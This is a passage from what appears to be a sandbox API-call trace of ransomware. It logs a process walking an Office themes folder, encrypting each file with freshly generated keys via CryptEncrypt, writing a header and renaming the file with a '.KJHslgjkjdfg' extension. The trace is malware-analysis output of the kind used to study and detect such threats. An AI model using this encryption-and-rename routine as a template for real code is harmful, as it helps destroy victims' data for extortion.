(in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf5b8 | out: hHeap=0x2a0000) returned 1 [0151.069] GetProcessHeap () returned 0x2a0000 [0151.069] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.069] FindClose (in: hFindFile=0x2c63a0 | out: hFindFile=0x2c63a0) returned 1 [0151.070] GetProcessHeap () returned 0x2a0000 [0151.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2f32d0 | out: hHeap=0x2a0000) returned 1 [0151.070] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG", cAlternateFileName="")) returned 1 [0151.070] GetProcessHeap () returned 0x2a0000 [0151.070] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x92) returned 0x2c7fd8 [0151.070] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\*.*", lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2c63a0 [0151.070] GetProcessHeap () returned 0x2a0000 [0151.070] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2c7fd8 | out: hHeap=0x2a0000) returned 1 [0151.070] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a71ef90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d416d30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0151.070] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a71ef90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x137f, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0151.070] GetProcessHeap () returned 0x2a0000 [0151.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x294) returned 0x2f32d0 [0151.071] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.071] GetProcessHeap () returned 0x2a0000 [0151.071] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.071] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.071] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.071] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x1, lpOverlapped=0x0) returned 1 [0151.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.074] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.074] GetProcessHeap () returned 0x2a0000 [0151.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.074] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.074] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.074] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.074] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.074] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.074] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.074] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.074] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.074] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.074] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.074] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x137f, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x137f, lpOverlapped=0x0) returned 1 [0151.075] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1380, dwBufLen=0x1380 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x1380) returned 1 [0151.075] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.075] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1380, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x1380, lpOverlapped=0x0) returned 1 [0151.076] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.076] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x1454, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.076] SetEndOfFile (hFile=0x118) returned 1 [0151.078] GetProcessHeap () returned 0x2a0000 [0151.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.078] GetProcessHeap () returned 0x2a0000 [0151.078] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.078] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.kjhslgjkjdfg")) returned 1 [0151.079] CloseHandle (hObject=0x118) returned 1 [0151.079] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f7a6700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f7a6700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0x19e14, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG.ELM", cAlternateFileName="")) returned 1 [0151.079] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.080] GetProcessHeap () returned 0x2a0000 [0151.080] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.080] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.080] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.080] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0xc, lpOverlapped=0x0) returned 1 [0151.082] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.082] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.082] GetProcessHeap () returned 0x2a0000 [0151.082] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.082] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.082] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.082] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.082] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.083] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.083] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.083] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.083] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.083] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.083] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.083] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.083] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x19e14, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x19e14, lpOverlapped=0x0) returned 1 [0151.086] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x19e20, dwBufLen=0x19e20 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x19e20) returned 1 [0151.087] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.087] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19e20, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x19e20, lpOverlapped=0x0) returned 1 [0151.087] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.087] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x19ef4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.087] SetEndOfFile (hFile=0x118) returned 1 [0151.090] GetProcessHeap () returned 0x2a0000 [0151.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.090] GetProcessHeap () returned 0x2a0000 [0151.090] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.ELM.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.elm.kjhslgjkjdfg")) returned 1 [0151.093] CloseHandle (hObject=0x118) returned 1 [0151.093] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d416d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x22b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SUMIPNTG.INF", cAlternateFileName="")) returned 1 [0151.094] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.094] GetProcessHeap () returned 0x2a0000 [0151.094] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.094] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.094] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.094] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x5, lpOverlapped=0x0) returned 1 [0151.096] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.096] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.096] GetProcessHeap () returned 0x2a0000 [0151.096] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.096] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.096] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.096] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.096] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.097] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.097] WriteFile (in: hFile=0x118, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.097] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.097] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.097] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.097] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x22b, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0x22b, lpOverlapped=0x0) returned 1 [0151.097] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230, dwBufLen=0x230 | out: pbData=0x26c0020*, pdwDataLen=0x290efd0*=0x230) returned 1 [0151.097] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.097] WriteFile (in: hFile=0x118, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x230, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290efe8*=0x230, lpOverlapped=0x0) returned 1 [0151.097] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.098] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.098] SetEndOfFile (hFile=0x118) returned 1 [0151.100] GetProcessHeap () returned 0x2a0000 [0151.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0151.100] GetProcessHeap () returned 0x2a0000 [0151.100] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0151.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\SUMIPNTG.INF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\sumipntg.inf.kjhslgjkjdfg")) returned 1 [0151.105] CloseHandle (hObject=0x118) returned 1 [0151.105] FindNextFileW (in: hFindFile=0x2c63a0, lpFindFileData=0x290f078 | out: lpFindFileData=0x290f078*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x389cfa00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x389cfa00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xad0e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0151.105] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118 [0151.106] GetProcessHeap () returned 0x2a0000 [0151.106] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0151.106] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0151.106] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f008 | out: lpNewFilePointer=0x0) returned 1 [0151.106] WriteFile (in: hFile=0x118, lpBuffer=0x290f018*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f018*, lpNumberOfBytesWritten=0x290efe8*=0x2, lpOverlapped=0x0) returned 1 [0151.108] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.108] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.108] GetProcessHeap () returned 0x2a0000 [0151.108] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0151.108] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290efd0*=0x40) returned 1 [0151.109] CryptDestroyKey (hKey=0x2c63e0) returned 1 [0151.109] WriteFile (in: hFile=0x118, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290efe8*=0x40, lpOverlapped=0x0) returned 1 [0151.109] WriteFile (in: hFile=0x118, lpBuffer=0x290eff0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290eff0*, lpNumberOfBytesWritten=0x290efe8*=0x4, lpOverlapped=0x0) returned 1 [0151.109] WriteFile (in: hFile=0x118, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290efe8*=0x10, lpOverlapped=0x0) returned 1 [0151.109] WriteFile (in: hFile=0x118, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290efe8*=0x80, lpOverlapped=0x0) returned 1 [0151.109] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f010 | out: lpNewFilePointer=0x0) returned 1 [0151.109] WriteFile (in: hFile=0x118, lpBuffer=0x290f000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290efe8, lpOverlapped=0x0 | out: lpBuffer=0x290f000*, lpNumberOfBytesWritten=0x290efe8*=0x8, lpOverlapped=0x0) returned 1 [0151.109] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290efec | out: phKey=0x290efec*=0x2c63e0) returned 1 [0151.109] CryptSetKeyParam (hKey=0x2c63e0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0151.109] SetFilePointerEx (in: hFile=0x118, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.109] ReadFile (in: hFile=0x118, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xad0e, lpNumberOfBytesRead=0x290eff4, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290eff4*=0xad0e, lpOverlapped=0x0) returned 1 [0151.155] CryptEncrypt (in: hKey=0x2c63e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, 